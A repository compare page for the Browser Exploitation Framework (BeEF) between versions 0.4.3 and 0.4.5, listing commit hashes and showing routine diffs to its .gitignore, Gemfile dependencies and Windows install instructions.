Compare commits
772 Commits
beef-0.4.3
...
beef-0.4.5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2fbca61368 | ||
|
|
67c06f17b7 | ||
|
|
3944477b29 | ||
|
|
617b46527d | ||
|
|
74c8dc7bcd | ||
|
|
b0cfe3cfdb | ||
|
|
d6cbc63da4 | ||
|
|
a96867b6cd | ||
|
|
9268ba9f5e | ||
|
|
294a7cb5c6 | ||
|
|
1c2559fe4a | ||
|
|
b905455e8b | ||
|
|
4193709845 | ||
|
|
80a9f8ed3b | ||
|
|
decdb6c39d | ||
|
|
352b7cd07f | ||
|
|
979493c61f | ||
|
|
63c2485e75 | ||
|
|
614b065115 | ||
|
|
2ff49ecb79 | ||
|
|
46ac92f668 | ||
|
|
a1e172ba0a | ||
|
|
ec1db7233d | ||
|
|
faf1884a4c | ||
|
|
38fa28658f | ||
|
|
9e7f46cb8a | ||
|
|
2785dccdf0 | ||
|
|
a99b6173d9 | ||
|
|
1649b87567 | ||
|
|
029ae3d66d | ||
|
|
02a1b5b4a0 | ||
|
|
5fafe02781 | ||
|
|
62d7a6c598 | ||
|
|
caebadf158 | ||
|
|
99f873b19b | ||
|
|
9d22c09f9d | ||
|
|
75cf0a1cdf | ||
|
|
8cdb9f990a | ||
|
|
c573c5bd46 | ||
|
|
debd3bc2c9 | ||
|
|
cc0993a2eb | ||
|
|
fb5712131e | ||
|
|
8e3c8e4b88 | ||
|
|
e8f5c0d265 | ||
|
|
53dd7ee5fb | ||
|
|
6f1f8cf65c | ||
|
|
00b6b42951 | ||
|
|
52f7a9cbca | ||
|
|
30cfb7002d | ||
|
|
451ff7d002 | ||
|
|
13bcc9bbee | ||
|
|
22a4fdb047 | ||
|
|
ee2ebc26b3 | ||
|
|
7aec038505 | ||
|
|
1f6278ca91 | ||
|
|
610985268c | ||
|
|
50a9784606 | ||
|
|
01758a12ef | ||
|
|
cb7a36e8dc | ||
|
|
04b3bee8cf | ||
|
|
d45c116414 | ||
|
|
37046464a3 | ||
|
|
46ca236c10 | ||
|
|
18efaf7f52 | ||
|
|
79947ab6eb | ||
|
|
9b92e0da35 | ||
|
|
a134e535c2 | ||
|
|
1e88894c98 | ||
|
|
4c945e018e | ||
|
|
cfa8a4ae26 | ||
|
|
209a488c77 | ||
|
|
3a9c027ef3 | ||
|
|
411399f4cf | ||
|
|
252f58e3b9 | ||
|
|
cd06076d92 | ||
|
|
ff1199ab87 | ||
|
|
9e43f0b68e | ||
|
|
4fcc1dc562 | ||
|
|
22dbc2efbe | ||
|
|
76ce3babe2 | ||
|
|
2683c3d587 | ||
|
|
0441868e59 | ||
|
|
c35286da59 | ||
|
|
d4736e071f | ||
|
|
7e18f6255e | ||
|
|
7c5011ac97 | ||
|
|
8653356810 | ||
|
|
893afe0317 | ||
|
|
9266cc9e41 | ||
|
|
85937f7f70 | ||
|
|
ec203935de | ||
|
|
bc56be0a7f | ||
|
|
c24a8c2ec5 | ||
|
|
a18a74c82a | ||
|
|
ee8176b2ba | ||
|
|
ccc8a5a02d | ||
|
|
a40e8ca8de | ||
|
|
f6eb275f3f | ||
|
|
ad95ce8179 | ||
|
|
23eab81d2a | ||
|
|
9942edc118 | ||
|
|
8ccc8f8b2e | ||
|
|
1ac84fea9d | ||
|
|
d49588b74a | ||
|
|
450753a9bc | ||
|
|
c8e5260820 | ||
|
|
0da381c486 | ||
|
|
e7884381f4 | ||
|
|
06717b4077 | ||
|
|
2d3ac97f5e | ||
|
|
d7e062ea67 | ||
|
|
11d63bc6a8 | ||
|
|
93b053b5a9 | ||
|
|
811b490615 | ||
|
|
b16d35232a | ||
|
|
6b93b09c2f | ||
|
|
d1688395ae | ||
|
|
f7df45ebd1 | ||
|
|
2c9633f08f | ||
|
|
015693038a | ||
|
|
aafceec4cb | ||
|
|
1681f69511 | ||
|
|
fb0cd7a195 | ||
|
|
cf4252585a | ||
|
|
9f76913b11 | ||
|
|
f490faa858 | ||
|
|
fd46915bf2 | ||
|
|
ce8e943be7 | ||
|
|
76d750681f | ||
|
|
055b5eec32 | ||
|
|
8e55545abd | ||
|
|
a4cbb9f74d | ||
|
|
d0fbba2e2d | ||
|
|
32fab589d6 | ||
|
|
dbeedb1d92 | ||
|
|
195e2ab830 | ||
|
|
6e50384719 | ||
|
|
55e36ff095 | ||
|
|
0ec566ac95 | ||
|
|
f628ce7ae9 | ||
|
|
8e6125f8c6 | ||
|
|
abe1370a50 | ||
|
|
4c2f80a3bc | ||
|
|
cd311b00e9 | ||
|
|
9068f91a63 | ||
|
|
bac0b5c57f | ||
|
|
07f1594a7a | ||
|
|
6bf0f9d648 | ||
|
|
e8e4180eee | ||
|
|
c61dee7275 | ||
|
|
5d3df16dc7 | ||
|
|
8dac5c95eb | ||
|
|
e1c27f4feb | ||
|
|
26cd0f08ad | ||
|
|
c63a55962a | ||
|
|
e8fc288ff7 | ||
|
|
fc024c8a8c | ||
|
|
76c09aa38a | ||
|
|
fe14601dfc | ||
|
|
e6b74d5186 | ||
|
|
0438cf422f | ||
|
|
3b3d7fe95e | ||
|
|
9b3dfacce1 | ||
|
|
82e4b1eac7 | ||
|
|
1d5afbb81e | ||
|
|
2e318030da | ||
|
|
34ec20cd0d | ||
|
|
acc6114541 | ||
|
|
32db367ada | ||
|
|
bca9eccdf0 | ||
|
|
94fc2805d1 | ||
|
|
7b229a2a20 | ||
|
|
c1a7b1ec08 | ||
|
|
9af8e6bd00 | ||
|
|
a317b223ca | ||
|
|
ad25c49b2d | ||
|
|
6fe8772710 | ||
|
|
94b636c6fd | ||
|
|
8dfa674134 | ||
|
|
52c2ef45e1 | ||
|
|
f17569cc35 | ||
|
|
01ad87250f | ||
|
|
820ba3a2e7 | ||
|
|
3ed4098c2f | ||
|
|
e791fca8a9 | ||
|
|
5d73d7f084 | ||
|
|
6385ddf85b | ||
|
|
bd9891dc4d | ||
|
|
53a54de5fe | ||
|
|
3029d3cea8 | ||
|
|
0dd9c193ec | ||
|
|
2303851498 | ||
|
|
56c686de64 | ||
|
|
ed986e4ed5 | ||
|
|
b345da0203 | ||
|
|
007f6302df | ||
|
|
861d66207d | ||
|
|
8c4ece815e | ||
|
|
7386a7708b | ||
|
|
f4d3858af6 | ||
|
|
d4ba3ec98c | ||
|
|
0f7f86e0f3 | ||
|
|
82e09e88ff | ||
|
|
2ee9fb6ccc | ||
|
|
d0cdb9ec90 | ||
|
|
ed5a11479a | ||
|
|
4529dd1a6c | ||
|
|
a131e670bc | ||
|
|
17f265cb83 | ||
|
|
354c3f1af0 | ||
|
|
7689af8e2c | ||
|
|
691ae19426 | ||
|
|
f2c83ced4d | ||
|
|
940b03e249 | ||
|
|
78a0c689be | ||
|
|
5ddb88db73 | ||
|
|
f526f39f10 | ||
|
|
5d1d519fc2 | ||
|
|
d9fd2b994e | ||
|
|
dde007ce86 | ||
|
|
6044de5604 | ||
|
|
4e3f0366bf | ||
|
|
2cf4e7e055 | ||
|
|
3947bac044 | ||
|
|
99c251610d | ||
|
|
e139ad121e | ||
|
|
0664ce688e | ||
|
|
7d6eb4b714 | ||
|
|
97898d453c | ||
|
|
fab0bf6b24 | ||
|
|
4a603b9f00 | ||
|
|
73c42f34f6 | ||
|
|
ca13af9f4e | ||
|
|
2105121c93 | ||
|
|
98ca29e51e | ||
|
|
4db376f11c | ||
|
|
df4ec41538 | ||
|
|
ee1e29341e | ||
|
|
7a8115211d | ||
|
|
05979af3a2 | ||
|
|
4a733a6f74 | ||
|
|
d4fd537108 | ||
|
|
14f1991542 | ||
|
|
1c055febeb | ||
|
|
b3c4753114 | ||
|
|
44058f0025 | ||
|
|
afdb7044d8 | ||
|
|
161729bba5 | ||
|
|
8f4f51874d | ||
|
|
25550f9cfa | ||
|
|
46e165df5e | ||
|
|
3494542b54 | ||
|
|
c11d4d40ea | ||
|
|
2f7ccf033c | ||
|
|
91fa8f4e63 | ||
|
|
cdb050a940 | ||
|
|
39e672f420 | ||
|
|
ec9cf4d460 | ||
|
|
9dcff5184d | ||
|
|
32d30a8176 | ||
|
|
55af5625bb | ||
|
|
52aacdde66 | ||
|
|
7639537d11 | ||
|
|
d050198afa | ||
|
|
f274001a65 | ||
|
|
cc51e2c294 | ||
|
|
7554449218 | ||
|
|
a4973a5365 | ||
|
|
bcb8a1b858 | ||
|
|
4cbe074259 | ||
|
|
744b7649e7 | ||
|
|
a75a95b663 | ||
|
|
5084083e23 | ||
|
|
c52d3651e7 | ||
|
|
563296f67b | ||
|
|
d230cfa593 | ||
|
|
2b44c9184d | ||
|
|
b2d03e9364 | ||
|
|
0e57fb0be1 | ||
|
|
275db51dd2 | ||
|
|
9e683d03bf | ||
|
|
71b539940b | ||
|
|
8ea8098fe2 | ||
|
|
ce5b576de1 | ||
|
|
048405d4f1 | ||
|
|
83ed8558b7 | ||
|
|
c0dee2fe54 | ||
|
|
e50d681a64 | ||
|
|
1f83c2a63f | ||
|
|
9060e4c64f | ||
|
|
277d205663 | ||
|
|
4732d66586 | ||
|
|
927f8efaed | ||
|
|
10c9988493 | ||
|
|
a0a36d333a | ||
|
|
6a8a103b8b | ||
|
|
3d5ecd0787 | ||
|
|
88019d21a3 | ||
|
|
faafa9a196 | ||
|
|
7c977ef1aa | ||
|
|
f97087c37a | ||
|
|
6d449672ae | ||
|
|
b43fbce044 | ||
|
|
2899886543 | ||
|
|
8003f1a47f | ||
|
|
b307891364 | ||
|
|
f0d989f6e9 | ||
|
|
fe37a14adc | ||
|
|
bece5c1438 | ||
|
|
1862870b11 | ||
|
|
02e6d4db11 | ||
|
|
c9f0b73100 | ||
|
|
d17d1357c6 | ||
|
|
6efa01cc22 | ||
|
|
91b06ca158 | ||
|
|
b28a79b56a | ||
|
|
adde5275af | ||
|
|
94e98f2fbb | ||
|
|
8a90f37cd8 | ||
|
|
7afa52ec99 | ||
|
|
513e61aff2 | ||
|
|
d7116b8f08 | ||
|
|
924717d6fa | ||
|
|
f2ba3b55e8 | ||
|
|
91575adcb2 | ||
|
|
db02b982bc | ||
|
|
5df78c1284 | ||
|
|
8875674f3b | ||
|
|
ce2b5293af | ||
|
|
612d0d91bb | ||
|
|
05502a3c91 | ||
|
|
441ccbbfce | ||
|
|
f1df608f64 | ||
|
|
24bf95ff16 | ||
|
|
9987f0781f | ||
|
|
41bfb8e995 | ||
|
|
77950ae680 | ||
|
|
d4c69f2bfd | ||
|
|
8e6751611d | ||
|
|
09443675cc | ||
|
|
70cac51a5d | ||
|
|
69ff8c0013 | ||
|
|
050da281ac | ||
|
|
5dd46ffd72 | ||
|
|
45c51180a6 | ||
|
|
b280d099f8 | ||
|
|
2c750670d7 | ||
|
|
71a67defd4 | ||
|
|
638e037e56 | ||
|
|
8033b77b73 | ||
|
|
2f51deb88a | ||
|
|
8d44b48768 | ||
|
|
86d23d3815 | ||
|
|
a1f102b869 | ||
|
|
fa95ac5b55 | ||
|
|
5980eff047 | ||
|
|
31587f689b | ||
|
|
5942138aba | ||
|
|
189e6543e0 | ||
|
|
25aca3d291 | ||
|
|
257a310a02 | ||
|
|
2420d59a72 | ||
|
|
66f01ff4e6 | ||
|
|
3f7eec4e28 | ||
|
|
1b6159ebeb | ||
|
|
df4b0bce5e | ||
|
|
d872a5a3e7 | ||
|
|
f5b86e7894 | ||
|
|
db83cdd086 | ||
|
|
e9e085e9e1 | ||
|
|
62a5d5e96c | ||
|
|
173178e1d6 | ||
|
|
f2883e0c94 | ||
|
|
858814c614 | ||
|
|
21417dc3e2 | ||
|
|
ca8f5d37e1 | ||
|
|
c6314f97cb | ||
|
|
1a5b21765f | ||
|
|
9fe27b113f | ||
|
|
402f4997df | ||
|
|
3948750571 | ||
|
|
957510b6d9 | ||
|
|
9d4ea6c224 | ||
|
|
b2aed14234 | ||
|
|
75f33016ea | ||
|
|
7f64c94e03 | ||
|
|
82a70fbcd0 | ||
|
|
6a62cf9eaa | ||
|
|
8d961c1938 | ||
|
|
141a12a92f | ||
|
|
95d0ddbe87 | ||
|
|
9cfb98963d | ||
|
|
94da775ba6 | ||
|
|
85d4375825 | ||
|
|
4d0f58684f | ||
|
|
8d95e6f522 | ||
|
|
5769615cd5 | ||
|
|
9a4fd6cb4c | ||
|
|
1ffa21d62a | ||
|
|
d8a8e37029 | ||
|
|
8270abd2d5 | ||
|
|
3865aab7ee | ||
|
|
123c3cdc04 | ||
|
|
ebbadba6dd | ||
|
|
a22926bc53 | ||
|
|
2c2b9a85f4 | ||
|
|
dd811ca234 | ||
|
|
acfdf45d16 | ||
|
|
e88c3c1f86 | ||
|
|
32b48e5172 | ||
|
|
b16d7e3563 | ||
|
|
7e73c0a532 | ||
|
|
1bddb00ec8 | ||
|
|
9daacd799e | ||
|
|
4fe51dcd28 | ||
|
|
af6cf9e5d4 | ||
|
|
3705009982 | ||
|
|
7f1473ccbf | ||
|
|
f869d2924a | ||
|
|
0b1c753bd3 | ||
|
|
f6ebe9fac0 | ||
|
|
570a8266ed | ||
|
|
696e3715fe | ||
|
|
53536d9d86 | ||
|
|
e61b266921 | ||
|
|
8cf17b01a5 | ||
|
|
164ff5bea6 | ||
|
|
6c6a33db50 | ||
|
|
e95c74b5e1 | ||
|
|
d9f7af2721 | ||
|
|
c70fa80468 | ||
|
|
1be8ec12fd | ||
|
|
0dd499c71a | ||
|
|
dab58f0e61 | ||
|
|
2e68470d23 | ||
|
|
473f349394 | ||
|
|
dbebf12d27 | ||
|
|
96f763b7e0 | ||
|
|
d40486c391 | ||
|
|
d43f443555 | ||
|
|
2b473bfda9 | ||
|
|
a2b627c8ae | ||
|
|
d45bff3a59 | ||
|
|
d2ac9e0f7a | ||
|
|
9e1ec69e40 | ||
|
|
e775748603 | ||
|
|
3b58518cfd | ||
|
|
b9d64f0b89 | ||
|
|
e527f1ae09 | ||
|
|
68e56fa8c0 | ||
|
|
eccbdd6958 | ||
|
|
019ec2f6ed | ||
|
|
cfa9177af1 | ||
|
|
1f37ceec9f | ||
|
|
6901581ae7 | ||
|
|
09ec09601e | ||
|
|
fc6f0aface | ||
|
|
89a5d6fdbb | ||
|
|
6c61b39d81 | ||
|
|
80ab665054 | ||
|
|
e56494d486 | ||
|
|
2f5133e11a | ||
|
|
fce4c9196d | ||
|
|
0af4029915 | ||
|
|
44622345d0 | ||
|
|
0f8221918b | ||
|
|
c8c9e1e139 | ||
|
|
998980b566 | ||
|
|
dbabb379fb | ||
|
|
5252bea54a | ||
|
|
7fdfcc3ef0 | ||
|
|
3c5b68e112 | ||
|
|
9e17958268 | ||
|
|
f2efa533c8 | ||
|
|
9636cb0972 | ||
|
|
1dc59f7b01 | ||
|
|
7f4562945a | ||
|
|
38284d5eaa | ||
|
|
ff620d42f4 | ||
|
|
61e6337046 | ||
|
|
27b1b530ef | ||
|
|
639d0611a6 | ||
|
|
ab7a62e8a4 | ||
|
|
71f04d82f5 | ||
|
|
704b979054 | ||
|
|
7aaafc79aa | ||
|
|
f90ad4a261 | ||
|
|
0dfab0e348 | ||
|
|
018a849e14 | ||
|
|
717f63ff0c | ||
|
|
9bac6b4fc1 | ||
|
|
2dae1d4c07 | ||
|
|
7de48ceafb | ||
|
|
c6f38324d1 | ||
|
|
054767c898 | ||
|
|
702595c04c | ||
|
|
c70037f9f4 | ||
|
|
13001b9642 | ||
|
|
18a78b57b2 | ||
|
|
24f7e5b6cd | ||
|
|
6d2a771084 | ||
|
|
271b2b8e85 | ||
|
|
35f25bbeb9 | ||
|
|
872ce2e92f | ||
|
|
992e95f0d7 | ||
|
|
1f7e748afc | ||
|
|
ddcb040c40 | ||
|
|
e563a8946b | ||
|
|
86e01b1327 | ||
|
|
d622bf3e5e | ||
|
|
8ecdceb928 | ||
|
|
498372aef3 | ||
|
|
c7eb1c7fc9 | ||
|
|
d24a00a639 | ||
|
|
c7981f3c0d | ||
|
|
281cde1cbb | ||
|
|
493ed5182b | ||
|
|
55d8506960 | ||
|
|
8d60c10298 | ||
|
|
94d15cd386 | ||
|
|
ceb55ef3df | ||
|
|
5bbf26abac | ||
|
|
cbd815c519 | ||
|
|
d22373d828 | ||
|
|
5b90c351da | ||
|
|
b501fe7c1a | ||
|
|
b28e631500 | ||
|
|
fdd1048f1a | ||
|
|
cc4b34ed8d | ||
|
|
9f7d326f6f | ||
|
|
5722cb2bc1 | ||
|
|
0479744dfc | ||
|
|
3dbfdbac7e | ||
|
|
d3262d9451 | ||
|
|
906ca6ccce | ||
|
|
ea560c3464 | ||
|
|
b79402ce5f | ||
|
|
1699d52475 | ||
|
|
c5d5b99472 | ||
|
|
9915547b19 | ||
|
|
ef2eac26eb | ||
|
|
09be2db069 | ||
|
|
6da4e2c39c | ||
|
|
15c7e64e93 | ||
|
|
91e2b36ce4 | ||
|
|
b82696ead2 | ||
|
|
7233957664 | ||
|
|
88678f986c | ||
|
|
719bb4a20b | ||
|
|
4ea18852f6 | ||
|
|
c16479a14e | ||
|
|
59951959f1 | ||
|
|
da763df110 | ||
|
|
4980ca02a6 | ||
|
|
6e0f7a266e | ||
|
|
e3cb7f7a2d | ||
|
|
6e9db43463 | ||
|
|
a172362452 | ||
|
|
55b0bee9ca | ||
|
|
950c3d37a7 | ||
|
|
1721d3c263 | ||
|
|
5585879cca | ||
|
|
d855100ac9 | ||
|
|
fad33dfea7 | ||
|
|
b4732a9438 | ||
|
|
73e291832e | ||
|
|
85b204f52b | ||
|
|
78410e28eb | ||
|
|
222cff3f1d | ||
|
|
2ef1b5bab8 | ||
|
|
af67c6a8d9 | ||
|
|
79572a61f0 | ||
|
|
2fcdf1038d | ||
|
|
cca21f1003 | ||
|
|
07fe3a9c0e | ||
|
|
69fd3e600c | ||
|
|
ae98842ad4 | ||
|
|
159ecb5ade | ||
|
|
cf4ab9533e | ||
|
|
9a23ed758e | ||
|
|
389f27360d | ||
|
|
e8eda3ef99 | ||
|
|
af8018500b | ||
|
|
22cd68101d | ||
|
|
760e7a456e | ||
|
|
26933fe146 | ||
|
|
9ca50e0505 | ||
|
|
31e1ddddaf | ||
|
|
7e57313e21 | ||
|
|
c0f0735150 | ||
|
|
39bc121b76 | ||
|
|
dc4665e1d3 | ||
|
|
497c3eb3f3 | ||
|
|
6abb21ac53 | ||
|
|
fb26ef5f71 | ||
|
|
c98d9a4300 | ||
|
|
f3f624e9a4 | ||
|
|
8132eb0e53 | ||
|
|
7364529b26 | ||
|
|
de1de356f7 | ||
|
|
4cec0cb1b8 | ||
|
|
657aac9dcd | ||
|
|
2d710a1bcf | ||
|
|
2484704fe8 | ||
|
|
7ad93130d9 | ||
|
|
de2bd15769 | ||
|
|
713a20f157 | ||
|
|
6a968e77c0 | ||
|
|
710769283e | ||
|
|
b4d690a5f3 | ||
|
|
4e7b983bd3 | ||
|
|
0ea1c0bbf8 | ||
|
|
58fb939b96 | ||
|
|
6f035bdf05 | ||
|
|
66d0e3535b | ||
|
|
e79372f8ac | ||
|
|
83749aad08 | ||
|
|
127e3cc0bb | ||
|
|
ed661e2a22 | ||
|
|
0d8521dd7b | ||
|
|
bf2dc1d387 | ||
|
|
8f1a26ffa9 | ||
|
|
de1ab2d1f9 | ||
|
|
772b2fd1e7 | ||
|
|
765c834f78 | ||
|
|
7eec331cf9 | ||
|
|
1c252af145 | ||
|
|
5a15a9afdd | ||
|
|
c37f0e1719 | ||
|
|
0734bb0750 | ||
|
|
4718075b2c | ||
|
|
514f367803 | ||
|
|
753a78f5fc | ||
|
|
c222d0e4e3 | ||
|
|
5e257d4e33 | ||
|
|
007769aa93 | ||
|
|
63695e66d7 | ||
|
|
074a11c85a | ||
|
|
88086811a0 | ||
|
|
90174dda23 | ||
|
|
fa7b90f123 | ||
|
|
17aa898099 | ||
|
|
f879584f1b | ||
|
|
2d27266fc9 | ||
|
|
2d08183eef | ||
|
|
bf19223a01 | ||
|
|
11a56c5ce9 | ||
|
|
4852cab66d | ||
|
|
79e8f34b06 | ||
|
|
4003b69646 | ||
|
|
ad2a93fc60 | ||
|
|
4e73163403 | ||
|
|
19d1827c36 | ||
|
|
fdf3dff690 | ||
|
|
f7b55be03a | ||
|
|
ce1cc61ac1 | ||
|
|
8b56a147a9 | ||
|
|
449c6633aa | ||
|
|
95970d5364 | ||
|
|
2c10dd040c | ||
|
|
cdc92f084e | ||
|
|
15a502bce6 | ||
|
|
10bdcce34a | ||
|
|
7dc1882427 | ||
|
|
78162e6d26 | ||
|
|
6913e97e2e | ||
|
|
0df85344f0 | ||
|
|
c88a2bb8e3 | ||
|
|
e3dced8a9e | ||
|
|
30171693ff | ||
|
|
065276932c | ||
|
|
61d0bf2e14 | ||
|
|
06221d2540 | ||
|
|
e14be26951 | ||
|
|
daadf59782 | ||
|
|
c085c2d3d7 | ||
|
|
209e64a9ef | ||
|
|
3cb7bb9f51 | ||
|
|
e8d85b550b | ||
|
|
29480a24da | ||
|
|
777f796243 | ||
|
|
8cd570c62d | ||
|
|
e383b7f9d5 | ||
|
|
1ad6039f0a | ||
|
|
8d151fb818 | ||
|
|
e321d6e3d8 | ||
|
|
3433e44d74 | ||
|
|
152edc445d | ||
|
|
81be99074a | ||
|
|
d81dc8044e | ||
|
|
56d6b54d08 | ||
|
|
2d9b894a3c | ||
|
|
3c4a0fad34 | ||
|
|
63b7d44a5e | ||
|
|
f584403a92 | ||
|
|
efa4854b79 | ||
|
|
cc49004189 | ||
|
|
c8c6d30468 | ||
|
|
fcbd2516e6 | ||
|
|
224cf0c7d0 | ||
|
|
c2dbc50d00 | ||
|
|
c1fefecf70 | ||
|
|
60589dc607 | ||
|
|
5d9821aa74 | ||
|
|
0f40a0fb9a | ||
|
|
6c16a89328 | ||
|
|
e275e4001c | ||
|
|
644a53cb2c | ||
|
|
87afb9a31b | ||
|
|
bd2b002314 | ||
|
|
15eb6a4b07 | ||
|
|
da7a7b9603 | ||
|
|
3fe37ec7b1 | ||
|
|
9c6802cd8f | ||
|
|
00ad35d878 | ||
|
|
cae2559fa3 | ||
|
|
ba02b6ec87 | ||
|
|
12fe2ed86c | ||
|
|
c0a256f1b0 | ||
|
|
1ce620a626 | ||
|
|
cea8a4b0e3 | ||
|
|
1cd83663aa | ||
|
|
b6b968a7a0 | ||
|
|
276d465dd1 | ||
|
|
8947d78d66 | ||
|
|
98da93fb12 | ||
|
|
f39b16712a | ||
|
|
d976e86cbe | ||
|
|
0244980db0 | ||
|
|
0580b86744 | ||
|
|
701dd34c83 | ||
|
|
fe40038441 | ||
|
|
ba5ee180e4 | ||
|
|
ca72854911 | ||
|
|
bdab1028f5 | ||
|
|
4e7e1129bb | ||
|
|
7b4d4de3eb | ||
|
|
df365b74c2 | ||
|
|
acb09efd32 | ||
|
|
d3cb14b1ad | ||
|
|
4d097aa55d | ||
|
|
75532ffe44 | ||
|
|
9546e88113 | ||
|
|
9083586135 | ||
|
|
3152f41a18 | ||
|
|
da08911080 | ||
|
|
b050af529f | ||
|
|
efec8b9bc3 | ||
|
|
d580ff44ed | ||
|
|
328df7af97 | ||
|
|
4b6130a315 | ||
|
|
011bb0e94b | ||
|
|
72a4a127ff | ||
|
|
03f7f888b5 | ||
|
|
2ae03736ab | ||
|
|
c2185d2cec | ||
|
|
624f704240 | ||
|
|
1765d18d97 | ||
|
|
6e44d5c641 | ||
|
|
81f03f0024 | ||
|
|
05e31fd250 | ||
|
|
bcb0e55802 | ||
|
|
bbf7143a9a | ||
|
|
f5b4a413f6 | ||
|
|
014aa3c4bd | ||
|
|
612343990d | ||
|
|
c708a60bdd | ||
|
|
6ce3581ae5 | ||
|
|
4cee2c550f | ||
|
|
f10cf3eb5b | ||
|
|
1333e48d3a | ||
|
|
006719768a |
102
.gitignore
vendored
102
.gitignore
vendored
@@ -1,3 +1,103 @@
|
||||
### BeEF ###
|
||||
beef.db
|
||||
test/msf-test
|
||||
custom-config.yaml
|
||||
custom-config.yaml
|
||||
.DS_Store
|
||||
.gitignore
|
||||
.rvmrc
|
||||
|
||||
*.lock
|
||||
|
||||
extensions/metasploit/msf-exploits.cache
|
||||
|
||||
# The following lines were created by https://www.gitignore.io
|
||||
|
||||
### Linux ###
|
||||
*~
|
||||
|
||||
# KDE directory preferences
|
||||
.directory
|
||||
|
||||
|
||||
### vim ###
|
||||
[._]*.s[a-w][a-z]
|
||||
[._]s[a-w][a-z]
|
||||
*.un~
|
||||
Session.vim
|
||||
.netrwhist
|
||||
*~
|
||||
|
||||
|
||||
### Emacs ###
|
||||
# -*- mode: gitignore; -*-
|
||||
*~
|
||||
\#*\#
|
||||
/.emacs.desktop
|
||||
/.emacs.desktop.lock
|
||||
*.elc
|
||||
auto-save-list
|
||||
tramp
|
||||
.\#*
|
||||
|
||||
# Org-mode
|
||||
.org-id-locations
|
||||
*_archive
|
||||
|
||||
# flymake-mode
|
||||
*_flymake.*
|
||||
|
||||
# eshell files
|
||||
/eshell/history
|
||||
/eshell/lastdir
|
||||
|
||||
# elpa packages
|
||||
/elpa/
|
||||
|
||||
# reftex files
|
||||
*.rel
|
||||
|
||||
# AUCTeX auto folder
|
||||
/auto/
|
||||
|
||||
# cask packages
|
||||
.cask/
|
||||
|
||||
|
||||
### nanoc ###
|
||||
# For projects using nanoc (http://nanoc.ws/)
|
||||
|
||||
# Default location for output, needs to match output_dir's value found in config.yaml
|
||||
output/
|
||||
|
||||
# Temporary file directory
|
||||
tmp/
|
||||
|
||||
# Crash Log
|
||||
crash.log
|
||||
|
||||
|
||||
### Windows ###
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
|
||||
|
||||
### TortoiseGit ###
|
||||
# Project-level settings
|
||||
/.tgitconfig
|
||||
|
||||
|
||||
48
Gemfile
48
Gemfile
@@ -1,39 +1,49 @@
|
||||
# BeEF's Gemfile
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
# Gems only required on Windows, or with specific Windows issues
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
gem "win32console"
|
||||
gem "eventmachine", "1.0.0.beta.4.1"
|
||||
else
|
||||
gem "eventmachine", "0.12.10"
|
||||
end
|
||||
|
||||
gem "eventmachine", "1.0.3"
|
||||
gem "thin"
|
||||
gem "sinatra", "1.3.2"
|
||||
gem "em-websocket", "~> 0.3.6"
|
||||
gem "jsmin", "~> 1.0.1"
|
||||
gem "sinatra", "1.4.2"
|
||||
gem "rack", "1.5.2"
|
||||
gem "em-websocket", "~> 0.3.6" # WebSocket support
|
||||
gem "uglifier", "~> 2.2.1"
|
||||
|
||||
# Windows support
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
|
||||
gem "therubyracer", "~> 0.11.0beta1"
|
||||
gem "execjs"
|
||||
gem "win32console"
|
||||
elsif !RUBY_PLATFORM.downcase.include?("darwin")
|
||||
gem "therubyracer", "0.11.3"
|
||||
gem "execjs"
|
||||
end
|
||||
|
||||
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
gem "json"
|
||||
gem "data_objects"
|
||||
gem "dm-sqlite-adapter"
|
||||
gem "dm-sqlite-adapter" # SQLite support
|
||||
#gem dm-postgres-adapter # PostgreSQL support
|
||||
#gem dm-mysql-adapter # MySQL support
|
||||
gem "parseconfig"
|
||||
gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client"
|
||||
|
||||
# notifications
|
||||
gem "twitter"
|
||||
gem "msfrpc-client" # Metasploit Integration extension
|
||||
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
|
||||
gem "rubyzip", ">= 1.0.0"
|
||||
gem "rubydns", "0.7.0" # DNS extension
|
||||
gem "geoip" # geolocation support
|
||||
|
||||
# For running unit tests
|
||||
if ENV['BEEF_TEST']
|
||||
# for running unit tests
|
||||
gem "test-unit"
|
||||
gem "test-unit-full"
|
||||
gem "curb"
|
||||
@@ -44,7 +54,7 @@ if ENV['BEEF_TEST']
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
#RESTful API tests/generic command module tests
|
||||
# RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
end
|
||||
|
||||
|
||||
25
INSTALL.txt
25
INSTALL.txt
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -26,11 +26,14 @@ Installation
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
!!! This must be done PRIOR to running the bundle install command !!!
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
|
||||
